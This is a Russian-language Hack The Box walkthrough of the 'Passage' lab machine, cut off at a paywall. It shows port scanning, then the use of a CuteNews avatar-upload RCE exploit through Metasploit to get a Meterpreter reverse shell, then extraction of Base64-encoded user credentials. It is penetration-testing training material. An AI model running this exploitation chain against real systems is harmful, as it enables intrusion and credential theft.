Содержание статьи
Подключаться к лабораторной машине будем через VPN. Рекомендую не подключаться с рабочего компьютера или с хоста, где есть важные для тебя данные, так как ты попадешь в одну частную сеть с людьми, которые что‑то да умеют в области ИБ. 🙂
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный в результате использования знаний и методов, описанных в статье.
Разведка
Сканирование портов
Машина имеет IP-адрес 10.10.10.206, который я добавляю в /
, чтобы можно было обращаться к хосту по имени.
10.10.10.206 passage.htb
Любая атака начинается со сканирования открытых на хосте портов. Это необходимо для того, чтобы атакующий узнал, какие службы принимают соединение. Исходя из полученной информации, можно выбирать путь для получения точки входа и опоры. Я это делаю с помощью следующего скрипта, который использует утилиту Nmap и принимает один аргумент — адрес сканируемого хоста.
Сначала скрипт использует Nmap, чтобы сделать обычное быстрое санирование. Затем он парсит все порты из вывода и повторяет сканирование только обнаруженных портов с использованием имеющихся скриптов (опция -A
).
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Мы имеем две службы — SSH (порт 22) и веб‑сервер Apache (порт 80). На SSH нам ловить нечего, так как единственное, что там можно делать, — это брутфорсить учетные данные. Брутфорс — последнее дело. Поэтому нам остается искать точку входа на сайте. Перейдя на сайт, легко определяем систему управления контентом — CMS CuteNews.
Точка входа
Первым делом стоит проверить, есть ли для обнаруженной CMS уже готовые эксплоиты. Лучший способ это установить — поискать на сайтах вроде HackerOne, exploit-db, а также GitHub. Но если ты используешь специальный дистрибутив вроде Kali Linux, то база эксплоитов Exploit-DB уже у тебя на диске. Для удобной работы с данной базой можно использовать утилиту searchsploit, также предустановленную в дистрибутиве. Именно с помощью ее мы и находим ряд эксплоитов.
searchsploit cutenews
Так как мы не знаем версию CMS на атакуемом хосте, то следует выбрать эксплоит для более поздней (2.1.2). Лучше всего для нас, если отработает тот, который даст выполнение кода — RCE. Пометка Metasploit означает, что этот эксплоит уже выпущен для Metasploit Framework.
Суть эксплуатируемой уязвимости в том, что при изменении аватарки профиля мы можем загрузить не только изображение, но и файл с расширением .php. К файлу затем можно обратиться, и это приведет к выполнению на сервере кода, содержащегося в метаданных файла‑изображения.
Закрепление
Так как в поставку Metasploit Framework этот эксплоит не входит, его нужно добавить в базу. Для начала получим полный путь к файлу эксплоита (опция -p
позволит сохранить полный путь к файлу сразу в буфер обмена), а затем копируем в директорию с эксплоитами.
Авторы допустили ошибку: не хватает запятой. Откроем файл эксплоита и добавим ее, как указано на скриншоте ниже.
В register_options
содержатся параметры, с которыми запускается эксплоит. К примеру, в данном случае нам нужно знать путь к базовой директории CMS, а также учетные данные пользователя.
В качестве значения параметра TARGETURI
по умолчанию используется /
. Перейдя к этой странице на сайте, получим форму авторизации. Нам нужно зарегистрировать нового пользователя, именно его учетные данные мы и будем использовать при запуске эксплоита.
Теперь, когда мы исправили ошибки в эксплоите и получили все необходимые данные для его работы, командой reload_all
обновим базу Metasploit Framework, чтобы загрузить только что добавленный эксплоит.
После успешного обновления базы загружаем наш эксплоит, задаем значения параметров и выполняем.
use exploit/46698
set username [имя зарегистрированного пользователя]
set password [пароль зарегистрированного пользователя]
set LHOST [наш IP-адрес]
set LPORT [локальный порт для прослушивания]
set RHOSTS [адрес цели]
run
В отчете наблюдаем успешные подключение, авторизацию, загрузку файла на сервер и запуск нагрузки, что в итоге приводит нас к шеллу Meterpreter. Командой getuid
проверяем, в контексте какого пользователя мы работаем. В данном случае у нас контекст учетной записи службы веб‑сервера: пользователь www-data
.
Продвижение
Credential Access
Так как на хосте развернут веб‑сервер, а на нем работает целая CMS, то первое наше действие — попробовать получить какие‑нибудь пользовательские учетные данные. Высока вероятность, что эти учетки подойдут и для локальных пользователей тоже. В случае с CuteNews нас интересует директория /
.
Здесь должны находиться файлы users.
и lines
. Как раз второй представляет для нас интерес.
Текст закодирован с помощью Base64. Немного преобразуем файл: исключим из него все строки, которые содержат подстроку php
(это позволит оставить только закодированные строки), и легко декодируем оставшиеся прямо в командной строке.
cat lines | grep -v php | base64 -d
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»